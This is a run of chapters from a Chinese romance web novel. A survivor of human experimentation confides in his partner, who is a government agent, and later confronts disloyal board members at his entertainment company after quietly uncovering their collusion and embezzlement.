哪怕时清徵不愿回想往事,这些他是永远也忘不掉的。 被毒品折磨至死的人会变成什么样? 瘦成枯骨,失去一切体面与尊严,变得不像是人,而是皮与骨组成的木偶。 而那些罪恶,就是吊着木偶的线,没了它们,木偶也便不会动了。 第122章 胆小鬼,我就不怕 顾鸣鹤没有亲身经历过时清徵的过往,先前所查到的资料也不够真实。 那纸上写的不过是文字堆砌的,没有灵魂的生命。 但顾鸣鹤此时却感觉心中一阵阵的绞痛,连手指骨都酸麻着。 一阵阵如针扎的痛,由内向外,让他忍不住紧了紧手。 “时小徵......” 他站在时清徵面前,忍不住半跪着,伸手去抱眼前人。 时清徵弯着身,脸埋在顾鸣鹤的肩上。 明明只是件小事,最开始时清徵知道这件事的时候,也不过是在他心里笼罩了一层阴翳。 有些疲惫和厌烦而已。 对于这些事情,其实他早就已经能平静以待了。 但是当顾鸣鹤小心翼翼叫他的时候,时清徵还是没忍住红了下眼。 那些早已消散的酸楚又在此时慢慢汇聚。 像是一个坚强了很久的人,他可以淡然面对外界的一切刁难和质疑,却往往会在一句“你没事吧”面前溃不成军。 不是因为软弱,而是因为自己的软弱有人愿意小心安放。 “顾鸣鹤。” 时清徵眼眶是红的,但声音却显得格外平静。 “嗯。” “先前你跟我讲了你小时候,我也给你讲讲我的。” 顾鸣鹤换了个姿势,站起身将人抱起。 然后坐在床上,让时清徵坐在自己腿上,整个人被顾鸣鹤包裹住。 是一种很安全的保护姿势。 “你之前查过我,应该知道一些,不过大多数是我编的,是不是很真?” 顾鸣鹤没想到他这时候反而有心情开玩笑了。 忍不住笑了下:“对,把我骗过去了。” “你看过照片吗?” “看过。” 顾鸣鹤先前查到的档案还在他手机里,里面有时清徵少时的照片。 “那不是我。” 顾鸣鹤听了没太惊讶,只是点头:“嗯,没你好看,我就说那摄影师技术怎么这么烂,把我家时小徵拍成那样。” 时清徵被他逗笑了:“他跟我起码八分像,你说话也得睁着眼讲。” “内在没你好看。” 虽然顾鸣鹤并不认识照片里的人,但不妨碍他吹捧自家时小徵。 时清徵笑了下,继续道:“你应该知道,我妈就是被拐去东南群岛的。” “嗯。” 顾鸣鹤当时还暗地里帮时清徵查了他国内亲人的下落,不过时清徵并没有提及亲人的打算,顾鸣鹤也不好替他做什么。 万一弄巧成拙,反而是得不偿失。 “不过她生下我和姐姐后没几年就死了,死于du品,再后来.......” “我的病也是因为那场人体实验。” 时清徵慢悠悠地说着。 顾鸣鹤抱着时清徵的手不由紧了下:“宝贝.......” 他心疼。 哪怕时清徵没细说,他也能猜得到。 这种人体实验早已屡见不鲜。 不管是长生还是强大,从古至今总有人如飞蛾扑火般前赴后继地去追求。 为此,他们甚至不惜以更多人的性命为祭品。 但讽刺的是,主导这些实验的往往是那些智力超群且富可敌国之人,他们掌握着最先进的科技,接受过最高等的教育。 饶是现在,此类人体实验的大小项目依然在暗处滋生。 有的打着“强身健体”的幌子,有的直指长生不老,有的野心勃勃妄图改造人类。 尽管国际上对此类实验早已严加禁止,但总有管不到,不能管的地方。 而这些实验的目的归根结底也就只有一个。 那就是无止境地满足自己的贪念。 而这膨胀的贪念往往需要无数人的性命去填。 一场实验,可能是几百人,也可能有上千人。 只是你没见过,所以你想象不到而已,但不代表不存在。 活下来的人不是没有,但是会因为体内的药效活生生被折磨死。 实验中死去的,实验品检测中死去的。 熬过这两关却死于后发症的。 时清徵见过。 有些人是皮肤溃烂,这个人似乎从内而外化成血水。 有的人像是鬼上身,神志不清把自己掐死的也有。 时清徵很长一段时间都觉得自己很幸运,他是活下来的那一个。 上天眷顾了他,所以他爬出来了,但埋在下面的人是不会被看到的。 正因为他活着,所以他才有机会去治愈自己,才能走到今天。 “顾鸣鹤,别觉得我可怜,因为我是最幸运的一个。” “我知道。”顾鸣鹤的嗓音有些低,好像要先时清徵一步哭出来的样子。 时清徵忍不住坐直了身,伸手环住顾鸣鹤的脖颈,歪头看着顾鸣鹤的眼睛。 “先生,你怎么看起来比我还脆弱?” “别胡说。”顾鸣鹤将他搂得更紧了些。 “因为喜欢你。” 因为喜欢你,所以我们的悲喜相通。 因为爱你,所以你的过往会让我感觉更痛。 时清徵将脑袋凑过去,两人额头抵着额头。 “先生,你这样会让我觉得你打算哭鼻子了。” 时清徵语气带着些调侃,有意在缓和气氛。 顾鸣鹤不是一个很感性的人,如果换做是旁人经历这些,他怕是只会皱一下眉。 然后从客观角度冷静批判一下那群没良心的人。 可当经历这些事的人变成了他放在心尖上的时小徵,他的心也跟着往下沉。 时清徵看顾鸣鹤耷拉着脸,忍不住伸手揉了揉他的眼尾。 “不会吧先生,今晚我不会还得安慰你吧?” 被他这一揉,眼尾就更红了。 “所以,你的病......” 时清徵听到这三个字就开始应激,连忙伸手捂住顾鸣鹤的嘴。 鬼知道他被顾鸣鹤问了多少遍,从顾鸣鹤去东南群岛找他那天晚上开始。 估摸着六回?还是七回? 总之一天一遍是必须的,好像今天不问明天就又会生病一样。 “先生,我都说了,我已经没事了。” “真的,你要相信科学和金钱的力量。” “其他都是假的,这些是真的。” “我总不可能拿命跟你开玩笑吧?” 时清徵一连串说完,生怕顾鸣鹤不信,还十分认真地盯着他看。 顾鸣鹤垂了下眼:“我就是怕。” 时清徵眉眼飞扬:“胆小鬼,我就不怕。” 第123章 立冬 ?..................... —————— 次日,顾鸣鹤就回了天和集团。 他离开的时间不短,即使这些日子里有别人负责,但新的项目进度也需要他了解。 顾鸣鹤将外套搭在椅背上,就在他回来的这阵功夫桌子上的文件已经堆积如山了。 所有需要他过目,补签或者了解的文件都被秘书放在了这里。 秘书办很专业地对它们的紧急程度进行了分类。 就在顾鸣鹤拿起一份文件看的时候,秘书小张敲了敲门走进来。 她手里端着咖啡,放到顾鸣鹤手边,然后指着一叠单独放出来的文件道: “顾总,这些都是需要您优先了解的,主要是城西项目的相关进程以及最近的会议纪要。” 顾鸣鹤点头表示了解。 放下文件的时候顺手拿起一旁的咖啡。 是他一贯喝的,入口完全是纯苦。 倒不是顾鸣鹤有多喜欢喝,而是他现在着实需要它来提神。 秘书小张继续道:“刘副总和李总监知道您今天回来,都想与你见一面当面汇报。” “让他们进来,城西项目是重中之重,半小时后先让刘副总来见我。” 接下来几个小时,顾鸣鹤的办公室里人流不断,几个项目的核心负责人依次前来。 城西那块地是用于建造大型商业用地,建筑周期在四到五年,甚至要更久。 前期的投入更是高达上百亿。 城西项目除了建筑体量巨大,还涉及城市公共设施改造,包括道路交通,审批流程格外复杂。 而那些建筑是占了大头的,所以设计团队就显得格外重要。 刘副总是顾鸣鹤一手提拔的,看着长得圆润,一副老实巴交的模样,实则十分有能力。 他递上了一份清单。 “顾总,按照你的意思,我们邀请了六家国内外顶级设计事务所参与竞标,计划在下周三正式发布对外招标公告。” “招标文件和相关资料已经准备就绪了,就是最厚的那一份蓝色文件。” 顾鸣鹤嗯了一声,不动声色道:“所有背景调查还有核心设计指标都确定了?” 刘副总点头:“是的,也都在里面了。” “好,辛苦了。” 顾鸣鹤颔首,示意他可以离开了。 办公室又恢复了安静,顾鸣鹤喝掉了那一杯已经冷了的咖啡。 然后准确的从那一堆文件中抽出了那最厚的蓝色文件夹,翻开慢慢查看。 顾鸣鹤处理工作很迅速,下班也十分准时,几乎是到点后没多久就离开了。 这样的工作狂忽然改性让李特助忍不住啧啧称奇。 身为顾总的左膀右臂,他当然是知道一点内幕的,于是只能看着顾鸣鹤的背影感慨一句。 陷入爱情的男人啊。 时清徵今天自然也没闲着,离开A国这么久,都没时间给程俊安找事了。 就这半个多月的时间,程俊安就攀上了宋氏集团的高枝。 原先的《山海纪元》这IP也交于宋氏集团共同合作。 宋氏集团的注资倒让程俊安喘了一口气。 不过这口气能喘多久呢?谁都不是做慈善的啊。 时清徵看着视频发布会中程俊安仪表堂堂地站在高台上,对着程氏娱乐分发展前景侃侃而谈。 一副商业精英的模样。 时清徵看着他那副道貌岸然的样子,倒是觉得好笑。 有种你买了一瓶冰红茶,结果里面黄黄的水不是饮料,而是尿的感觉。 经得起看,但经不起闻,更经不起品。 时清徵不敢肯定程俊安与东南群岛的那群人有没有勾结,就算有也应该只是认识些边缘人物。 不然早就在之前清理中和江晓崖一样被抓去了。 但程俊安能好好的时清徵还是很为他高兴的。 不然他要是去坐牢了,那还有什么意思? 对时清徵来说,那种下场对程俊安来说也太幸福了点。 法治社会还是太文明了,像他这种人就喜欢用不文明的暴力方式解决问题。 先用暴力摧残对方的心理,然后暴力KO他的肉体。 此时循环播放的视频又一次到达了尾声,站在聚光灯下的程俊安神色淡然。 “期待我们程氏娱乐与宋氏集团此次合作共赢,全力打造亮眼成果,共创娱乐领域的新精彩。” 网络空间里的记忆本来就薄得很,外加上程氏娱乐的大力引导,视频底下倒也真漾起了一汪的期待与好评。 反倒是发布会现场那些记者们,问起问题来一个个都透着股较真劲儿。 问题一个比一个犀利,甚至还有将一个月前程氏丑闻拿来说的。 程俊安怎么说也在总裁那把交椅上稳稳坐了十几年,这点场面算得了什么? 他轻飘飘接过话茬,四两拨千斤,姿态做足。 最后潇洒离场。 视频定格在了这一刻,给这场发布会留下了完美的落幕。 第124章 他也永远是我的爱人 时清徵动了动手指,匿名在这个视频下面留下了好评。 【期待程总的精彩表现。】 时清徵把平板搁到一边,站起身看了看墙上挂着的表。 这时间顾鸣鹤差不多该回来了。 他这么想着,门那边就传来了脚步声。 哪怕只听声音而不看过去,时清徵也知道不是顾鸣鹤,应该是保姆。 正如时清徵所想,保姆进来后跟时清徵打了声招呼,就去做饭了。 时清徵的手机也恰好响了下。 【顾鸣鹤:宝贝,我有点事,晚些回去。】 【顾鸣鹤:亲亲抱抱jpg.】 【你洗了蒜了:嗯,好。】 时清徵也没多想,拿着手机就上楼了。 另一边,原先顾鸣鹤的车子已经驶入熟悉的街区,眼看再拐过一个弯,就能回到那个有时清徵等待的家里了。 然而,就在这归心似箭的当口。 “叮咚!” 手机屏幕突兀地亮起,一条来自林霄汉的讯息跳了出来,言简意赅:“现在,来铺子一趟。” 顾鸣鹤看着屏幕上那行字,无奈地捏了捏眉心,发出一声几不可闻的叹息。 他有些不舍地给时清徵发了条消息,随即认命般对司机吩咐道:“掉头吧,去林老板的古董铺子。” 司机只当是顾总又想买古玩了,于是在前方掉头,朝着另一个方向去了。 林霄汉约见的地点,依旧是他在市中心附近经营的那家古董铺子。 说来也怪,这条街人流如织,繁华喧嚣,那可是一等一的好地段。 偏偏这家铺子像是与这地的风水相克,生意冷清得令人费解。 至少,在顾鸣鹤每次造访的记忆里,店里总是空无一人,显得荒凉极了。 以至于顾鸣鹤都形成了条件反射,每次来见林霄汉,都不得不装模作样地挑选一件玩意儿买走。 一来是为了遮掩,二来是照顾一下上司的生意。 他时常腹诽,这铺子能支撑到现在还没倒闭关门,绝对有他一半的功劳。 在店员见怪不怪,甚至带着点熟客又来了的意味,跟顾鸣鹤打招呼。 顾鸣鹤熟门熟路地上了二楼。 推开那熟悉的房间门,林霄汉果然在里面。 虽然林霄汉在信息里只字未提所为何事,但顾鸣鹤心中已然猜了个八九不离十。 十有八九是绕不开他家那位埃特纳斯先生,时清徵。 “林局” ,顾鸣鹤走进里间,语气平静地开口,“特意找我来,有什么事?” 此刻的林霄汉,正背对着门口,负手而立,全神贯注地凝视着墙上悬挂的一幅古画。 听到顾鸣鹤的声音,他才缓缓收回目光,转过身来。 “来了?” 说着指了指一旁的椅子:“坐吧,我们慢慢聊。” 顾鸣鹤坐下,就那么抬眼看着林霄汉。 林霄汉也没有拐弯抹角:“你家那位.......” 他没有明说,显然是打算让顾鸣鹤来开这个头。 顾鸣鹤直接表态:“他很好,特别好。” “林叔你不知道,我可喜欢他了。” 既然是林霄汉私下来找他,那这件事情就算不上正事,顶多算个提醒。 所以顾鸣鹤态度也不再那么拘着。 眼看顾鸣鹤在那里细数时清徵的优点,大有喋喋不休的架势。 说话时眼睛都好像要冒光。 林霄汉嘴角一抽。 他培养的那个王牌呢?眼前这个恋爱脑是谁啊? 果然爱情会让一个男人智商清零。 还好他是单身狗,不是...... 眼见顾鸣鹤还打算继续说下去,林霄汉实在受不了了,抬手打断。 “像他这样的人,怎么会忽然出现在你身边?” 纵使时清徵没做什么,林霄汉还是会因为他的身份而担心。 埃特纳斯,那个在东南群岛的危险人物,虽然他目前并没有在A国做什么违法乱纪的事情。 但还是会让人忍不住去操心。 “林叔,你相信缘分吗?” 林霄汉:“.......” 顾鸣鹤也没有再调笑,而是收了神色,正儿八经道:“我们相逢确实是个意外,后续发展也的确有些不可控。” “他的这个身份.....我也很意外,不过也仅此而已。” 林霄汉看着顾鸣鹤。 这个人也算是他看到大的,对顾鸣鹤的性格很清楚,冷静强大,总归不是个容易糊弄的。 所以林霄汉其实并没有很着急,只是出于长辈的善意点拨。 顾鸣鹤提起时清徵时心中却泛起酥麻来。 不知道什么时候,哪怕是想到这个人,他就忍不住温柔泛滥,连眉眼都轻和了。 “我信他行事无愧其位,他也未曾主动与我们为敌,更何况此次我们能将拉尔斯成功带回就有他退让的原因。” 顾鸣鹤的眼神很清明,像是立于外界视角的理性分析。 “我们之间也许不会有合作,但也不会对立,这是我基于我们双方关系进行的判断。” 随即,顾鸣鹤轻舒一口气,语气稍缓。 “但是一个人从来不是只有一个身份,他在东南群岛时是埃特纳斯,可他在我这里永远是时清徵。” “哪怕不抛去这些立场,他也永远是我的爱人。” 林霄汉没有说话,只是静静地摸着桌角。 顾鸣鹤眼中的情绪不可动摇,严肃且认真:“以上是我本心,无关立场。” “如果他成为你的敌人呢,你还能这样保持理智吗?” 林霄汉有意刁难,眼神上下打量顾鸣鹤。 顾鸣鹤闻言却笑了:“林叔,这本身就是个伪命题,我觉得没有回答的必要。” FK的人并不是蠢货,至少从他们这些年的表现就可以看出。 他们从不主动去碰红线,哪怕是在东南群岛那块混乱地带都保持自己的底线。 相比之下,FK完全是一股清流。 当时时清徵放任第七局带走拉尔斯也是因为综合考虑的原因。 对于双方而言,冲突的成本太高。 见顾鸣鹤没进坑里,林霄汉反而是笑了笑,收回了审视的目光,表情瞬间松散了下来。 “这都没坑到你,你小子一如既往地贼。” 顾鸣鹤也认下了这句话,点头道:“多谢林叔夸奖。” 第125章 是我来的不巧了 林霄汉自然也不会无缘无故去刁难一个遵纪守法的公民,顶多就是提醒顾鸣鹤多留点心眼罢了。 结果自己反倒被强行塞了一嘴狗粮,噎得慌。 “行了行了,算我多嘴。” 他没好气地摆了下手,一副懒得管你们的表情。 顾鸣鹤非但没收敛,反而顺着杆子往上爬,语气带着点小得意:“那您确实是白说了,我这心里头,可清楚得很呢。” 林霄汉被他这副死猪不怕开水烫的模样气笑了,直接开始赶人:“没事就赶紧滚蛋,别搁这儿碍我眼了!” 谁知,刚才还急着回家见人的顾鸣鹤,这会儿倒忽然有了闲情逸致。 他非但没走,反而好整以暇地坐回椅子里,探身朝林霄汉那边凑近了些,脸上挂着人畜无害的笑容: “林叔” ,他声音压低,带着点打探八卦的意味,“宋燕回那小子.......当初到底是怎么进咱们第七局的?您给讲讲呗?” 顾鸣鹤心里冷哼,肯定是宋燕回那家伙跑到李局面前告的状。 他得弄明白这小子的分量和路子。 林霄汉警惕地瞥了他一眼:“好端端的,你打听这个干什么?” 顾鸣鹤笑容不变,理由张口就来,说得冠冕堂皇:“当然是出于对亲密战友的深切关怀啊!” 林霄汉嗤笑一声,毫不留情地拆穿:“你不给他添堵就谢天谢地了,还关怀?赶紧滚!为了等你,我晚饭还饿着肚子呢!” 他一言不合就开始轰人。 顾鸣鹤见状,知道今天是撬不开他的嘴了,无所谓地耸了下肩,终于起身,溜溜达达地离开了。 离开时又顺手买了个古董瓶子。 然后把装瓶子的木盒往车上随手一丢。 坐车离开后,顾鸣鹤陷入了沉默。 他没有说的是,其实在林霄汉问出那个问题的第一秒他的心是有些慌的。 人总会对不可能发生的事情做出最坏的打算。 顾鸣鹤不可避免地杞人忧天。 假如真的有那一天....... 他愿意挡在时清徵身前,但是同样也愿意成为第一个倒下的人。 前者是他的选择,后者是他的责任。 这个可能性的猜测看起来也太残忍了些,将两个同心之人硬生生割裂。 但正如顾鸣鹤所想的,他愿意舍弃一切,为了时清徵,也为了身上的责任。 而时清徵自然也永远不会让顾鸣鹤落入双向选择的困难境地。 他不可能让顾鸣鹤为难,让他用牺牲退让来成全一切。 不然,他们就不是他们了。 等顾鸣鹤回到家的时候早就已经收起了心绪,入门后便看见时清徵正坐在餐桌旁,低头玩着手机。 听到动静,他抬眼看过去。 随即笑了下,唤了句:“先生。” 然后又低头去看手机了。 顾鸣鹤原本平静的情绪被这一声喊得心花怒放,但时清徵去看手机的举动还是让他心中有点儿不爽。 他示意司机把木盒放一旁,然后拎着袋子朝时清徵走去。 走近才看见时清徵是在刷新闻。 还是财经新闻。 顾鸣鹤有种被敷衍的难受,空出来的一只手捏住了时清徵的脸颊。 揉了一把。 像是在宣示存在感一般。 果不其然,时清徵很快就把手机放一旁了。 “先生做什么?” 顾鸣鹤轻哼一声,咬牙道:“多看我两眼会怎么样啊?” 那酸劲儿也不知道是从哪里来的。 可能是陷入爱河的男人都是这样小气。 时清徵闻言还真仰头看着他,认真的看了几秒:“看久了,会看腻的吧?” 说话时眼中盛着笑意,很明显是在调侃顾鸣鹤。 但顾鸣鹤就是顺杆爬,趁机皱眉作苦状:“你可真坏啊。” 时清徵闻言笑容反而更大了。 就在两人腻腻歪歪打情骂俏之时,保姆从厨房走了出来。 一边还边说:“菜已经......” 话音一顿,保姆这才看见两个玩闹的人。 保姆:........ 是我来的不巧了。 保姆尴尬地眼神飘忽了一下,颇有些此地无银三百两的感觉。 “顾先生也回来了?那正好可以开饭了。” 说着,一个丝滑转身,钻进了厨房,都要快出残影了。 进厨房后,保姆老脸一红,唇角止不住上扬。 还是年轻人好啊,不像她家老头,一点情趣都没有。 外面的两个当事人也丝毫不尴尬,顾鸣鹤拉开时清徵旁边的椅子坐下。 “你还没吃?” 按时间来看,他以为时清徵已经吃过了。 时清徵眼睛眨了下:“这不是在等先生,不然你是不是又要骂我没良心了。” 顾鸣鹤瞥了他一眼,没说话,用行动表达时清徵方才对自己漠视的不满。 头扭到另一边,看似不搭理人,实则全身上下都写着“快来哄我”。 时清徵也乐意依着他,凑过去在顾鸣鹤耳边说了不少好话。 而顾鸣鹤在时清徵凑过去的那一刻,嘴角就没下去过。 但为了多听这人哄着自己,还是时不时压住嘴角,可又因为对方的一句话而止不住上扬。 空气里都弥漫起甜味来。 两个人对对方的小心思都心知肚明,但还是一个愿打一个愿挨。 顾鸣鹤觉得今天连保姆的手艺都格外地好。 饭后,顾鸣鹤才把先前拎着的那个袋子拿了出来。 是他在那条街上买的一些糕点,看起来很是精致。 不过时清徵刚吃完饭,面对顾鸣鹤的投喂,时清徵表示:谢谢,婉拒了哈。 时清徵悠哉地坐在沙发上看电视。 顾鸣鹤则是打开了先前的木盒子,拿着古董瓶随便找了个角落摆着。 那瓶子样式着实一般,不像是顾鸣鹤会喜欢的。 时清徵余光瞥见,就顺嘴问了句。 顾鸣鹤也没有瞒着的意思,将先前与林霄汉的交谈简单地复述了下。 时清徵对这种事早有预料,没有什么神色。 先前宋燕回见过他,知道他如今在顾鸣鹤身边。 根据立场和原则,顾鸣鹤自己肯定也会跟第七局的上级提一嘴。 不过时清徵没想到对方倒是很宽容。 他打趣道:“你那个上司态度还真是.....仁慈。” 第126章 欠你一个锦旗 第七局这种处理态度在时清徵意料之中,也在他意料之外。 他还以为那个第七局的局长会警告顾鸣鹤两句呢。 没想到是默许态度。 顾鸣鹤坐在时清徵旁边,理所当然道:“不然呢?又没做什么违法乱纪的事儿。” “从某种角度来说你还帮了我们一个忙,局长他还欠你一个锦旗呢。” 顾鸣鹤指的自然是时清徵帮他们抓住拉尔斯的事。 时清徵忍不住笑:“那你们确实得谢谢我,拉尔斯的人头可值钱了。” 顾鸣鹤像是抓住了什么,眼睛一亮就贴了过来。 “不如.....我肉偿?” 时清徵似乎没在意他这不要脸的发言,慢悠悠评价道:“连吃带拿?” “不行吗?” 顾鸣鹤很贪心道。 时清徵沉思了两秒:“也不是不行。” 话音刚落,整个人就被打横抱起。 显得某人有些急不可耐了。 “哎,电视没关。” 上楼时,顾鸣鹤还顺手把那袋糕点拎了上去。 晚上。 糕点被碾碎了。 糕点被吃掉了。 糕点被洗掉了。 ———— 光影娱乐,总裁办公室。 周景深的办公桌上放着几份文件,正是与天和集团合作的梦国IP综合体项目的预算审批,还有资源调度申请。 这些文件,已经在董事会上被反复讨论了快两周,却迟迟无法通过。 周景深为此忧心了好几天,他忍不住疲惫地揉了揉眉心。 光影娱乐虽然是FK国际集团旗下的重要子公司,但为了融资和发展,也引入了几位外部投资人,共同组成了董事会。 平日里,他这个总裁拥有相当的自主权,但最近...... 王董,陈董为首的那几位董事不知道发什么疯。 董事会上,但凡涉及梦国IP项目的文件,他们总能找出各种理由故意拖延。 话里话外还带着质疑: “周总,这么大的项目,投入如此惊人,你做的每一个决策真的能代表大董事的意思吗?” “是啊,大董事从未在董事会露过面,他的真实想法我们无从得知。万一这项目方向有偏差,或者不是大董事的意思,这责任......谁担得起?” “我们不是不相信周总的能力,但大董事作为最大股东和实际控制人,在这种级别的项目上不露面表态,实在令人难以安心。 我们强烈要求大董事亲自出面,给大家一个明确的交代。” 这不仅仅是质疑,几乎是公开的找事。 毕竟这个合作最开始就是时清徵提出并且促成的。 这几个董事的行为很难不让人怀疑他们的动机。 可是他们巧妙地利用了大董事长期神隐这个理由,将周景深架在了一个尴尬的位置。 周景深无法证明自己能代表时清徵的意思,而时清徵的不出现,又成了他们质疑项目的借口。 偏偏坏事成双。 董事会的刁难还未结束,又不知道是谁将光影娱乐幕后大董事长期神隐,公司重大决策可能存在隐患传了出去。 那几家媒体报道的字里行间都在影射光影娱乐高层管理混乱,甚至暗指周景深有越权之嫌。 明眼人又能看出光影娱乐这是被人算计了,但光影娱乐内部的那几个董事还一致对内。 不帮忙就算了,还帮着别人对付自己。 如果不是有更丰厚的利益,他们想必也不会这么做。 舆论传播地很快,一时间,业内议论纷纷。 就连天和集团那边也传来了消息,希望光影娱乐能够及时解决这些负面舆论。 眼前这局面,早已不是周景深能够应对的了。 董事会内部联合施压,外部虎视眈眈,项目推进卡在关键节点动弹不得。 无奈之下,周景深还是打算联系时清徵。 只是他的屏幕内容停在了聊天界面那里,久久没动。 时清徵身为FK总部的高层,光影娱乐对他而言,恐怕只是众多资产中的一块。 他会愿意为了光影内部的这点纷争特意跑一趟吗? 毕竟时清徵先前就表现出了不愿意露面的意思。 周景深觉得时清徵最大的可能也不过是派个特使过来,或者发一封警告信给那群董事。 时清徵那样的人物,时间何其宝贵。 犹豫再三,周景深最终还是编辑了一条消息发了出去,简要说明最近的情况。 消息发送成功,周景深将手机丢在桌上,身体重重靠向椅背。 然而,几乎就在他消息发出去的半分钟后,手机忽然接收到了新消息。 周景深猛地坐直身体,抓起手机。 【你洗了蒜了:今天下午两点半,召开董事会。】 周景深看了一下表。 现在是上午十点,要临时通知那群董事开会吗? 但周景深还是回复。 【周景深:好的。】 时清徵昨天扫财经新闻时就已经看到了相关报道。 光影娱乐内部不稳? 他本就因为东南群岛那几个胆大包天碰毒品的蠢货而烦躁,现在脸上的阴郁都藏不住了。 在上午的时候,他已经腾出手亲自查过那几个在光影董事会上跳得最欢的家伙。 不查不知道,一查直接把这几个人的老底儿都给掀了。 时清徵眯了眯眼,指尖点着桌面,细数着这几个人。 这几个带头闹事的董事,手里的股份加起来也就占光影娱乐的百分之十五左右,小股东而已。 之前一直挺安分,最近是脑子被驴踢了,还是觉得他真是死人? 顺着他们账户上几笔异常的大额汇款查过去,倒牵扯出不少有意思的东西。 又是程氏娱乐?同行恶性竞争啊。 时清徵有些漫不经心地敲着键盘。 程俊安本事不大,不入流的小动作倒是不少。 时清徵耐着性子,又花时间挖出了这几个董事近期的聊天记录和一些被删除的通话备份。 这几个董事摆明了是联合程氏娱乐,要在光影娱乐背后捅刀子。 甚至他们私下已经在偷偷抛售自己持有的光影股份了,这是准备捞一票就跑? 其中那个跳得最凶的陈董,账目上还有一笔几百万的公款挪用,做得不算高明,在他眼里简直像秃子头上的虱子。 东南群岛那群碰毒的杂碎离得太远,他不能亲手收拾。 现在眼皮子底下的蛀虫,他还收拾不了吗? 本来管业务就够烦了,光影娱乐这边他放权给周景深,图个清净。 结果这群人非要上赶着给他找不痛快。 第127章 向来“守时” 当天下午,光影娱乐总部。 不得不说FK集团的手笔,光影娱乐虽不在最核心的商圈,却也独占了一整栋气派的写字楼,可见其财大气粗。 周景深早早发消息说要亲自下楼迎接,但时清徵嫌麻烦,直接让周景深把电梯码发他。 时清徵没走正门引人注目,直接绕到侧面的高管专用通道。 感应区扫了下时清徵的手机,总裁办公室的楼层自动亮起。 电梯门刚要合拢,一只擦得锃亮的皮鞋卡了进来,门重新打开。 一个穿着笔挺西装的中年男人走了进来,看起来倒是人模人样。 时清徵只是抬了一下眼皮,扫了他一眼,便认出来了对方。 陈园。 他今天上午刚欣赏过这位陈董的各种精彩操作。 带头闹事,勾结程氏,挪用公款。 时清徵最烦一种人,那就是没有自知之明还上赶着给他找麻烦的人。 眼前这位,完美契合。 不过,他还不至于在电梯里就动手,只当身边杵了团空气,连眼神都欠奉。 陈园走进电梯站定,这才注意到站在角落里却依旧遮不住存在感的年轻人。 对方并没有跟他打招呼,要知道公司上下何人不认识他陈董? 陈董眉头微不可察地皱了下,一时没想起来公司哪个部门有这号人物。 看穿着气度不像普通员工,可高层里也没这张年轻得过分的脸啊? 莫非是哪个新签约的艺人?可艺人哪来的权限? 对方按的楼层还跟自己一样,陈园心里犯起了嘀咕。 周景深最近没提过人事变动,看来不是高管。 周景深的助理或秘书倒是有可能。 虽然这是高管专用梯,但周景深偶尔也会给助理开权限方便在人流多的时候跑腿。 陈园忍不住又用眼角余光扫了时清徵几眼,对方却始终没看他。 那份漠视感让陈园心里莫名地有点不舒坦。 电梯平稳上升,很快就到了对应的楼层。 时清徵率先走了出去,留下电梯里的陈园若有所思地看着时清徵的背影。 时间已经到了两点二十,距离董事会召开不足十分钟,先前助理已经来催过一回了。 董事会在即,周景深没有等到时清徵,忍不住站起身来回踱步。 刚才时清徵回复说不用人接,他明白对方是想低调行事,避免引人注目。 可此刻,一丝后悔悄然爬上心头。 万一呢?这个念头不受控制地往上冒。 万一时董在楼下被哪个不长眼的保安或前台拦住了? 万一他走错了地方,被普通员工刁难询问? 人一焦虑,思绪就容易天马行空地往最坏的情况发散。 周景深自嘲地摇摇头,压下这些无谓的担忧。 能在光影娱乐这种级别公司当前台的,只要是通过正经流程上来的,哪个不是人精? 没接到明确指令,谁会去刻意刁难一个陌生人? 秒针又转了一圈,时间慢慢过去,眼看开会时间就要临近了。 敲门声响起。 “进。”他下意识地应道,目光还停留在墙上的挂钟,以为是助理来提醒开会。 门被推开。 进来的并非预想中的助理,而是一个极其年轻的男子。 他身形颀长,穿着看似简单的深咖色风衣,容貌出众,那种冲击感瞬间留住了周景深的目光。 周景深就那么直直地愣住了,大脑有几秒的空白。 时清徵原先确实忘了问总裁办公室的位置,但是这里又不是没有员工。 他随便问了个人,对方就给他指了办公室的地点。 时清徵走进办公室,目光扫过,看到的便是周景深这副明显处于失神状态的样子。 “周总?” 周景深这才回过神,第一反应是先看看时清徵身后。 时清徵注意到他的视线,皱眉。 不是,这群人怎么都喜欢往他身后看,先前的阿南是这样,东南群岛那群人是这样,现在周景深也这样。 他身边有鬼不成? 周景深这才尴尬地咳了一下,试探性开口:“时董?” “嗯。” 周景深:.......! 他心中此刻一片懵逼飞过,谁来告诉他,为什么时董这么年轻? 但毕竟是见过大风大浪的人,周景深很快不再纠结这个。 他跟时清徵简单讲了一下会议流程。 除了那几个董事,公司的高管也都会来。 毕竟是大董事第一次露面,没人敢不重视。 会议室内,长桌两侧的位置几乎坐满。 除了周景深,那位大董事,以及号称“路上堵车”的王董,其他董事和高管均已到场。 墙上的时钟指针缓缓挪向两点半,主角之一的大董事却连影子都没见着。 底下的人开始有些坐不住了,忍不住低声窃窃私语。 目光时不时瞟向空着的主位和门口,带着探究。 陈园环顾四周,再到会议室之前,他心里原本还暗自得意。 他特意掐着点,在两点二十五分才姗姗来迟,自觉这“迟到”的度拿捏得刚好,既显得怠慢,又不至于太过分被抓把柄。 结果对方压根没出现。 他仿佛一拳打在了棉花上,连个响动都没有,感觉有点憋闷。 你来的晚是吧?那我来的更晚。 陈董给还在外面“堵车”的王董发了条消息:【王董,那位还没影儿呢。您那边路况如何?】 信息秒回。 【说了你太心急,学学我不好吗?】 【看我晾他个半小时,他又能拿我怎么样?天塌不下来。】 陈园:....... 最后回了句: 【还是王董大心脏,沉得住气。】 时间跳到两点二十九分。 就在会议室里议论声渐大,不少人开始频繁看表,甚至有人小声质疑“还开不开”的时候。 会议室外有人走了进来。 时清徵率先走了进来,周景深就跟在他身后。 两人踩着点,在最后一分钟走入了会议室。 时清徵的目光平静地扫过满当当的会议室,最后在陈园略显僵硬的脸上一顿,随即移开。 难怪刚才一路走来没见着几个人影,原来都早早候在这儿了。 常年卡点的时清徵自然不理解那些高管提前十分钟,甚至半小时就位的行为艺术。 说好了两点半开会,一个两个来这么早是想把会议提前吗? 时清徵不理解,毕竟他向来“守时”。 第128章 会议ing 时清徵步履从容,径直走向会议室最前方的主位,拉开椅子,坐了下去。 整个会议室仿佛被按下了静音键。 空气凝固了足足有三秒。 几乎所有人的视线都僵硬地钉在那个过分年轻且过分俊美的身影上。 震惊和茫然写在每一张脸上。 然后,像是约好了一般,所有呆滞的目光齐刷刷地转向了坐在时清徵下首位置的周景深。 带着强烈的求证意味。 那一道道目光里,充满了困惑和“周总你最好解释清楚”的无声压力。 周景深能清晰地感受到那十几道目光。 他硬着头皮,对着众人极其轻微地点了一下头。 这个动作的含义再明确不过。 